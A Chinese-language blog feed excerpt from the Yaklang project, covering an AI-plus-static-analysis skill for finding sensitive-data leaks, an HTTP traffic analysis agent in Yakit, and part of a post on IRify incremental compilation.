<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">npx skills add yaklang/irify-sast-skill</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="配置mcp">配置MCP<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E9%85%8D%E7%BD%AEmcp" class="hash-link" aria-label="配置MCP的直接链接" title="配置MCP的直接链接" translate="no">​</a></h2>
<p>给你的 AI Agent 配置 MCP，例如 Codex:</p>
<p><strong>Codex (~/.codex/config.toml)</strong></p>
<div class="language-ini codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-ini codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">[mcp_servers.yaklang-ssa]command = "yak"args = ["mcp", "-t", "ssa"]</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="实战测试">实战测试<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E5%AE%9E%E6%88%98%E6%B5%8B%E8%AF%95" class="hash-link" aria-label="实战测试的直接链接" title="实战测试的直接链接" translate="no">​</a></h2>
<p>为了更直观地展示<strong>irify-sast-skill</strong>的实战价值，我们在相同的靶场项目环境下，利用 Codex 针对同一项审计任务进行了对比测试。</p>
<p><strong>审计意图</strong></p>
<blockquote>
<p>“请检查业务代码中是否存在敏感信息（明文密码、手机号、身份证号）泄露风险，重点关注是否被打印至日志或透传给了第三方统计 API。”</p>
</blockquote>
<p>一个极其典型的长链路跨过程数据流场景（虽然往往不如典型的漏洞：如SQL注入，那么高危且令人着迷，但是用来做长数据流的测试却非常合适）。</p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="开启-irify-sast-skill">开启 irify-sast-skill<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E5%BC%80%E5%90%AF-irify-sast-skill" class="hash-link" aria-label="开启 irify-sast-skill的直接链接" title="开启 irify-sast-skill的直接链接" translate="no">​</a></h4>
<p>在具备 Skill 的情况下，AI 表现出了极强的“确定性”执行力。它并没有盲目翻阅文件，而是严格执行 Engine-First 范式。</p>
<p>AI 意识到这是一个典型的污点分析需求。它首先通过 <code>ssa_compile</code>完成项目编译，随后利用注入的知识构造了一条复杂的 <code>ssa_query</code> 规则：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/9eb4894df5396513-198bf280843bfb665db7b2e8e10baca4.png" width="1080" height="582" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/f414ef3992baab9e-56de035a0cdb734dfa310b01c80d10e5.png" width="1080" height="582" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/8362e75be61735a3-6e31e4115dba28359137b5895d3395e3.png" width="1080" height="582" class="yakdoc-image"></button></p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="关闭-skill文本猜测模式">关闭 Skill：文本猜测模式<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E5%85%B3%E9%97%AD-skill%E6%96%87%E6%9C%AC%E7%8C%9C%E6%B5%8B%E6%A8%A1%E5%BC%8F" class="hash-link" aria-label="关闭 Skill：文本猜测模式的直接链接" title="关闭 Skill：文本猜测模式的直接链接" translate="no">​</a></h4>
<p>在失去 Skill 的约束与知识注入后，AI 陷入了典型的“信息溺水”状态。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/aaa1ee3142477a6f-da8293de524317851e1c2ac028734ccd.png" width="1080" height="582" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/652a8c22449f27c5-75cb0a7833d5484dd766f8232dcc161f.png" width="1080" height="521" class="yakdoc-image"></button></p>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="对比">对比<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E5%AF%B9%E6%AF%94" class="hash-link" aria-label="对比的直接链接" title="对比的直接链接" translate="no">​</a></h4>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="简单对比一下两者实际效果">简单对比一下两者实际效果：<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E7%AE%80%E5%8D%95%E5%AF%B9%E6%AF%94%E4%B8%80%E4%B8%8B%E4%B8%A4%E8%80%85%E5%AE%9E%E9%99%85%E6%95%88%E6%9E%9C" class="hash-link" aria-label="简单对比一下两者实际效果：的直接链接" title="简单对比一下两者实际效果：的直接链接" translate="no">​</a></h4>
<ul>
<li class=""><strong>漏洞发现能力</strong></li>
</ul>













<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>传统方案 (无 Skill )</th><th>AI + SSA 方案 (开启 Skill )</th></tr></thead><tbody><tr><td>仅检出 2 处（仅限显示手机号打印）</td><td>精准检出 17 处（含密码、手机号）</td></tr></tbody></table></div></div>
<p>可以发现开启 Skill 后，AI 成功捕获了原本被漏掉的所有 15 处密码泄露风险点。</p>
<ul>
<li class=""><strong>输入 token 消耗</strong></li>
</ul>

















<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>传统方案 (无 Skill )</th><th>AI + SSA 方案 (开启 Skill )</th></tr></thead><tbody><tr><td>仅检出 2 处（仅限显示手机号打印）</td><td>精准检出 17 处（含密码、手机号）</td></tr><tr><td>152,338 Tokens</td><td>125,244 Tokens</td></tr></tbody></table></div></div>
<p>开启 skill 后节省了约 18% 的输入 token 成本</p>
<ul>
<li class=""><strong>token缓存压力</strong></li>
</ul>

















<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>传统方案 (无 Skill )</th><th>AI + SSA 方案 (开启 Skill )</th></tr></thead><tbody><tr><td>152,338 Tokens</td><td>125,244 Tokens</td></tr><tr><td>1,364,480 Tokens</td><td>704,128 Tokens</td></tr></tbody></table></div></div>
<p>可以发现相比没有 skill，缓存压力降低近 50%</p>
<ul>
<li class=""><strong>审计准确度</strong></li>
</ul>













<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>传统方案 (无 Skill)</th><th>AI + SSA 方案 (开启 Skill)</th></tr></thead><tbody><tr><td>对于能力较差的AI可能存在幻觉</td><td>结论严谨确定。提供了从 Source 到 Sink 的完整物理行号证据。</td></tr></tbody></table></div></div>
<p>可以很明显看到，<code>irify-sast-skill </code>明显提升了漏洞的数量以及准确度，并且有效减少了token的数量。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="总结">总结<a href="https://yaklang.com/blog/detecting-password-leaks-with-ai-and-ssa#%E6%80%BB%E7%BB%93" class="hash-link" aria-label="总结的直接链接" title="总结的直接链接" translate="no">​</a></h2>
<p>本文通过对 <code>irify-sast-skill</code> 的深度拆解与实战对比，完成了<strong>AI + SSA：对话式代码数据流查询</strong>的一次初步探索。</p>
<p>虽然受限于开发周期，目前尚未能针对该方案进行更大规模、更系统化的行业基准（Benchmark）验证，但从这次小型的可行性实验中，我们已经看到了这一思路的巨大潜力。</p>
<p>实验结果表明，当 AI Agent 摆脱了传统的“纯文本检索”依赖，转而通过 Skill 直接掌控 SSA 引擎的底层分析能力时，它不仅能显著提升漏洞检出的数量与精度，更在 Token 消耗与算力开销上表现出了极佳的经济性。</p>
<p>这是 SSA 静态分析与时下火热的 AI 终端编程工具的一次功能结合。我们可以期待在不久的将来，SSA 与 Memfit 实现底层能力的深度整合，或是 IRify 通过集成 AI 决策大脑，让复杂的代码安全审计真正实现开箱即用！</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/ACJ8A9omvAn6rEsCmU2F5w" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>代码审计</category>
            <category>AI</category>
        </item>
        <item>
            <title><![CDATA[功能发布：HTTP 历史流量分析专家 Agent]]></title>
            <link>https://yaklang.com/blog/http-history-traffic-analysis-agent</link>
            <guid>https://yaklang.com/blog/http-history-traffic-analysis-agent</guid>
            <pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[这是 AI Agent 相关能力第一次正式应用到 Yakit 的日常功能模块中。本次以 HTTP 历史流量分析 作为试点，在不改变用户原有使用习惯的前提下，引入一个“懂流量、能对话”的分析专家，用来辅助用户理解和分析已有流量数据。]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>这是 AI Agent 相关能力第一次正式应用到 Yakit 的日常功能模块中。本次以 HTTP 历史流量分析 作为试点，在不改变用户原有使用习惯的前提下，引入一个“懂流量、能对话”的分析专家，用来辅助用户理解和分析已有流量数据。</p>
<p>本文主要介绍这个功能做了什么、怎么用，以及背后的一些实现思路。</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="在历史流量中引入-ai-侧边栏">在历史流量中引入 AI 侧边栏<a href="https://yaklang.com/blog/http-history-traffic-analysis-agent#%E5%9C%A8%E5%8E%86%E5%8F%B2%E6%B5%81%E9%87%8F%E4%B8%AD%E5%BC%95%E5%85%A5-ai-%E4%BE%A7%E8%BE%B9%E6%A0%8F" class="hash-link" aria-label="在历史流量中引入 AI 侧边栏的直接链接" title="在历史流量中引入 AI 侧边栏的直接链接" translate="no">​</a></h2>
<p>在 Yakit 的**历史流量（History）**页面左侧，我们新增了一个 AI 侧边栏入口。打开后，用户可以直接和 AI 对话，围绕当前历史流量提出问题，例如：</p>
<ul>
<li class="">某个域名或接口相关的流量有哪些？</li>
<li class="">是否存在可能的敏感信息？</li>
<li class="">某类请求是否存在潜在风险？</li>
</ul>
<p>AI 并不是“凭感觉”回答，而是基于当前历史流量数据进行分析，并在必要时加载对应的请求、响应内容到上下文中。</p>
<p>这也是 Yakit 中第一次让 AI 以 <strong>Agent</strong> 的形式，参与到一个真实、可复用的日常分析场景里。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/c1a16620a259f602-6d5d51723eced73f35bb1e7aff20ee34.png" width="600" height="909" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="http-流量分析专家模式">HTTP 流量分析专家模式<a href="https://yaklang.com/blog/http-history-traffic-analysis-agent#http-%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%E4%B8%93%E5%AE%B6%E6%A8%A1%E5%BC%8F" class="hash-link" aria-label="HTTP 流量分析专家模式的直接链接" title="HTTP 流量分析专家模式的直接链接" translate="no">​</a></h2>
<p>本次新增的能力，本质上是一个<strong>HTTP 流量分析专家 Agent</strong>。</p>
<p>它构建在现有的 AI Agent 基础能力之上，尤其是记忆管理和上下文控制能力，使得它可以：</p>
<ul>
<li class="">面对大量历史流量数据</li>
<li class="">按需、分批地加载流量内容</li>
<li class="">在对话过程中持续保持分析上下文</li>
</ul>
<p>在使用上，它并不是一个“全量把流量塞进上下文”的简单实现，而是围绕用户问题，逐步拉取和分析相关流量。</p>
<p>举个例子，如果你问"有没有泄露敏感信息的流量"：</p>
<p>首先，AI 会用关键词快速过滤，从几百条流量中筛选出可能包含敏感信息的几十条。这一步只看流量的基本信息：URL、状态码、请求方法等。</p>
<p>然后，AI 会进一步分析这几十条流量的特征，比如哪些返回了 200 状态码（说明请求成功），哪些 URL 路径看起来比较敏感。经过这一轮，可能就剩下 5-10 条真正需要关注的流量。</p>
<p>最后，AI 才会去查看这 5-10 条流量的完整请求和响应内容，仔细检查是否真的存在敏感信息泄露。</p>
<p>这种渐进式的分析方式，既保证了效率，又不会遗漏重要信息。即使面对上千条流量，AI 也能快速定位到关键问题。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/a089131e270171f4-7f6bd4b29f692564732ec150565661c6.jpg" width="1080" height="287" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="流量查询与筛选能力">流量查询与筛选能力<a href="https://yaklang.com/blog/http-history-traffic-analysis-agent#%E6%B5%81%E9%87%8F%E6%9F%A5%E8%AF%A2%E4%B8%8E%E7%AD%9B%E9%80%89%E8%83%BD%E5%8A%9B" class="hash-link" aria-label="流量查询与筛选能力的直接链接" title="流量查询与筛选能力的直接链接" translate="no">​</a></h2>
<p>HTTP 流量分析专家可以直接使用 Yakit 现有流量分析器里的能力，包括：</p>
<ul>
<li class="">按<strong>关键字</strong>查询流量</li>
<li class="">使用<strong>流量匹配器</strong>进行筛选</li>
<li class="">支持<strong>正则表达式</strong>等复杂匹配方式</li>
</ul>
<p>只要是历史流量分析页面里已经具备的筛选和查询能力，这个 Agent 都可以“理解并使用”。用户只需要用自然语言描述需求，Agent 会自行决定如何组合这些条件来完成分析。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="一个实际场景示例敏感信息与风险排查">一个实际场景示例：敏感信息与风险排查<a href="https://yaklang.com/blog/http-history-traffic-analysis-agent#%E4%B8%80%E4%B8%AA%E5%AE%9E%E9%99%85%E5%9C%BA%E6%99%AF%E7%A4%BA%E4%BE%8B%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E4%B8%8E%E9%A3%8E%E9%99%A9%E6%8E%92%E6%9F%A5" class="hash-link" aria-label="一个实际场景示例：敏感信息与风险排查的直接链接" title="一个实际场景示例：敏感信息与风险排查的直接链接" translate="no">​</a></h2>
<p>例如，用户可以直接这样询问：</p>
<blockquote>
<p>帮我查一下 xxx 相关的流量有哪些，有没有存在漏洞风险的？</p>
</blockquote>
<p>在这个过程中，HTTP 流量分析专家会：</p>
<p>1、先定位与 xxx 相关的历史流量</p>
<p>2、结合请求方法、路径、请求体和响应内容进行分析</p>
<p>3、检查是否存在潜在的敏感上下文、认证信息、异常输入或风险点</p>
<p>4、给出一个基于当前流量数据的分析结论</p>
<p>整个过程不依赖用户手动点选或反复筛选，而是通过对话逐步推进分析。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1adff287465b0d93-e5e3c0aa78b058df3c88542b3452a7d6.png" width="989" height="808" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="记忆管理与按需加载">记忆管理与按需加载<a href="https://yaklang.com/blog/http-history-traffic-analysis-agent#%E8%AE%B0%E5%BF%86%E7%AE%A1%E7%90%86%E4%B8%8E%E6%8C%89%E9%9C%80%E5%8A%A0%E8%BD%BD" class="hash-link" aria-label="记忆管理与按需加载的直接链接" title="记忆管理与按需加载的直接链接" translate="no">​</a></h2>
<p>为了让 Agent 能在复杂分析中保持上下文一致性，这里引入了记忆管理机制，但整体设计是偏克制的。</p>
<ul>
<li class=""><strong>短期记忆</strong>：仅存在于当前会话中，用于保存本轮对话、分析中已经确认的信息，会话结束后即失效。</li>
<li class=""><strong>长期记忆</strong>：会对记忆进行评分，并从 6 个维度进行分析，后续对话中通过语义检索的方式按需取回。</li>
</ul>
<p>在流量分析场景下，Agent 不会一次性加载所有历史流量，而是采用<strong>按需加载、渐进式加载</strong>的方式：</p>
<ul>
<li class="">先根据问题做初步筛选</li>
<li class="">再逐步引入必要的请求或响应内容</li>
<li class="">随着分析深入，动态扩展上下文</li>
</ul>
<p>这样既能控制上下文规模，也能保证分析过程是可持续的。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="总结">总结<a href="https://yaklang.com/blog/http-history-traffic-analysis-agent#%E6%80%BB%E7%BB%93" class="hash-link" aria-label="总结的直接链接" title="总结的直接链接" translate="no">​</a></h2>
<p>目前，HTTP 流量分析专家 Agent 还处在<strong>测试接入阶段</strong>，并且：</p>
<ul>
<li class="">还没有和 UI 做深度联动</li>
<li class="">Agent 的分析过程暂时不可视化为具体的 UI 操作</li>
</ul>
<p>后续会逐步开放能力，让 Agent 可以直接操作 UI 中的筛选、跳转和高亮，让用户能够“看到 AI 是怎么做分析的”。</p>
<p>同时，类似的专家 Agent 也会扩展到其他模块，例如：</p>
<ul>
<li class=""><strong>HTTP WebFuzzer 专家 Agent</strong></li>
</ul>
<p>后续我们会在保持工具可控性的前提下，逐步探索 Agent 在更多安全分析场景中的使用方式。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/0I31FdnTwEsp9RuJr9oK_A" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>AI</category>
            <category>流量分析</category>
        </item>
        <item>
            <title><![CDATA[性能优化：IRify 增量编译技术详解（五）]]></title>
            <link>https://yaklang.com/blog/irify-incremental-compilation-part5</link>
            <guid>https://yaklang.com/blog/irify-incremental-compilation-part5</guid>
            <pubDate>Fri, 30 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[我们正在解决 IRify 处理大项目时的性能问题，当前 IRify 在处理大型项目时面临的主要性能瓶颈：]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>我们正在解决 IRify 处理大项目时的性能问题，当前 IRify 在处理大型项目时面临的主要性能瓶颈：</p>
<p>为了解决这些问题，我们引入了智能的依赖追踪 + 变更检测机制，实现「有变编译，无变复用」的高效构建模式。</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="什么是增量编译">什么是增量编译？<a href="https://yaklang.com/blog/irify-incremental-compilation-part5#%E4%BB%80%E4%B9%88%E6%98%AF%E5%A2%9E%E9%87%8F%E7%BC%96%E8%AF%91" class="hash-link" aria-label="什么是增量编译？的直接链接" title="什么是增量编译？的直接链接" translate="no">​</a></h2>
<p>增量编译，这是一种基于已存在项目进行二次编译的一种技术。其核心思想是<strong>基于项目历史构建状态，仅对发生变更的源文件及其依赖项进行重新编译</strong>。通过对比文件修改时间或内容哈希，系统自动跳过未变化的编译单元，从而在保证输出结果一致性的前提下，大幅减少大型项目的构建时间。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/2f6ceaa93ad2771f-373daa05d4f22e82a842035995a39761.png" width="1080" height="228" class="yakdoc-image"></button></p>
<p>与<strong>全量编译</strong>相比，<strong>增量编译</strong>通过智能识别变更并复用历史编译结果，在以下方面展现出显著优势：</p>
<ul>
<li class=""><strong>增量编译</strong>构建时间仅与<strong>变更范围</strong>成正比。它只重新编译新增或修改的文件及其直接依赖，对未变动的代码直接复用之前的编译结果。这使得日常开发中的小改动构建时间缩短<strong>60% 到 90% 以上</strong>，实现“秒级”甚至“亚秒级”的快速反馈。</li>
<li class=""><strong>全量编译</strong>漫长的构建时间使得“编写代码 -&gt; 编译 -&gt; 运行测试 -&gt; 发现问题 -&gt; 修复”的迭代周期变得很长，阻碍了快速实验和探索。将迭代周期缩短到开发者可以接受的心理阈值内，鼓励更频繁的代码验证和重构，有助于提高代码质量和加快功能交付速度。特性维度增量编译模式传统全量模式编译范围仅编译变更文件及直接依赖编译全部文件构建时间显著缩短（通常减少60-90%）完整构建时间内存占用大幅降低高峰期占用高适用场景日常开发、频繁迭代首次构建、清理构建</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="多层-layer-架构">多层 Layer 架构<a href="https://yaklang.com/blog/irify-incremental-compilation-part5#%E5%A4%9A%E5%B1%82-layer-%E6%9E%B6%E6%9E%84" class="hash-link" aria-label="多层 Layer 架构的直接链接" title="多层 Layer 架构的直接链接" translate="no">​</a></h2>
<ul>
<li class="">统一的多层模型：Layer1（最底层）→ Layer2 → Layer3 → ... → LayerN（最上层）</li>
<li class="">无 Base/Diff 区分：所有层都是平等的 Layer，简化概念</li>
<li class="">上层覆盖下层：查找时从最上层开始，自动处理覆盖逻辑</li>
</ul>
<p>虚拟视图（ProgramOverLay）：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">type</span><span class="token plain"> ProgramOverLay </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    Layers </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">ProgramLayer          </span><span class="token comment" style="color:#999988;font-style:italic">// 按顺序存储所有层</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    FileToLayerMap </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">SafeMap</span><span class="token punctuation" style="color:#393A34">[</span><span class="token builtin">int</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 文件路径 -&gt; Layer索引（快速查找）</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    AggregatedFS FileSystem         </span><span class="token comment" style="color:#999988;font-style:italic">// 聚合后的文件系统</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    signatureCache                  </span><span class="token comment" style="color:#999988;font-style:italic">// Value签名缓存，用于重定位</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="文件差异计算">文件差异计算<a href="https://yaklang.com/blog/irify-incremental-compilation-part5#%E6%96%87%E4%BB%B6%E5%B7%AE%E5%BC%82%E8%AE%A1%E7%AE%97" class="hash-link" aria-label="文件差异计算的直接链接" title="文件差异计算的直接链接" translate="no">​</a></h2>
<p>状态编码：</p>
<ul>
<li class="">-1：删除（在前一层存在，本层不存在）</li>
<li class="">0：修改（前后层都存在但内容不同）</li>
<li class="">1：新增（只在本层存在）</li>
</ul>
<p>计算方式：通过 calculateFileSystemDiff 比较两个文件系统，生成差量映射</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="聚合文件系统">聚合文件系统<a href="https://yaklang.com/blog/irify-incremental-compilation-part5#%E8%81%9A%E5%90%88%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F" class="hash-link" aria-label="聚合文件系统的直接链接" title="聚合文件系统的直接链接" translate="no">​</a></h2>
<p>聚合策略：</p>
<ul>
<li class="">处理删除：如果文件在底层存在但在上层被标记为删除（hash=-1），则从聚合结果中移除</li>
<li class="">文件集合计算：使用 getAggregatedFilesSet，hash 值求和为 1 的文件才会被包含</li>
</ul>
<p>实现细节：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// 从最上层到最下层查找文件</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Layers</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i</span><span class="token operator" style="color:#393A34">--</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> foundInLayer </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">          aggregated</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">AddFile</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">filePath</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> content</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">          </span><span class="token keyword" style="color:#00009f">break</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// 找到即停止，实现上层覆盖</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="数据库存储策略">数据库存储策略<a href="https://yaklang.com/blog/irify-incremental-compilation-part5#%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AD%98%E5%82%A8%E7%AD%96%E7%95%A5" class="hash-link" aria-label="数据库存储策略的直接链接" title="数据库存储策略的直接链接" translate="no">​</a></h2>
<p>元数据存储：</p>
<ul>
<li class="">IsOverlay = true：标记为增量编译</li>
<li class="">OverlayLayers = [layer1, layer2, ...]：存储所有层的 program 名称,每个 layer 的 program 独立存储，保持独立性</li>
</ul>
<p>文件存储：每个 layer 的文件存储在 IrSource 表中，通过 ProgramName 关联</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="增量变量流程">增量变量流程<a href="https://yaklang.com/blog/irify-incremental-compilation-part5#%E5%A2%9E%E9%87%8F%E5%8F%98%E9%87%8F%E6%B5%81%E7%A8%8B" class="hash-link" aria-label="增量变量流程的直接链接" title="增量变量流程的直接链接" translate="no">​</a></h2>
<p>增量编译分为3种情况：</p>
<ul>
<li class="">第一次编译（Base Program）：全量编译，标记为增量编译流程的起点</li>
<li class="">增量编译（Diff Program）：基于已有程序编译差量，创建或扩展 Overlay 详细流程</li>
<li class="">再次增量编译（Diff Program）：先对上一次增量编译的结果进行聚合，然后使用聚合的文件系统进行增量编译</li>
</ul>
<div class="language-sql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-sql codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">输入：文件系统 </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> 配置</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">全量编译所有文件</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">保存 Program 到数据库</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">设置 IsOverlay </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">设置 OverlayLayers </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">programName</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  ↓</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">保存配置</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  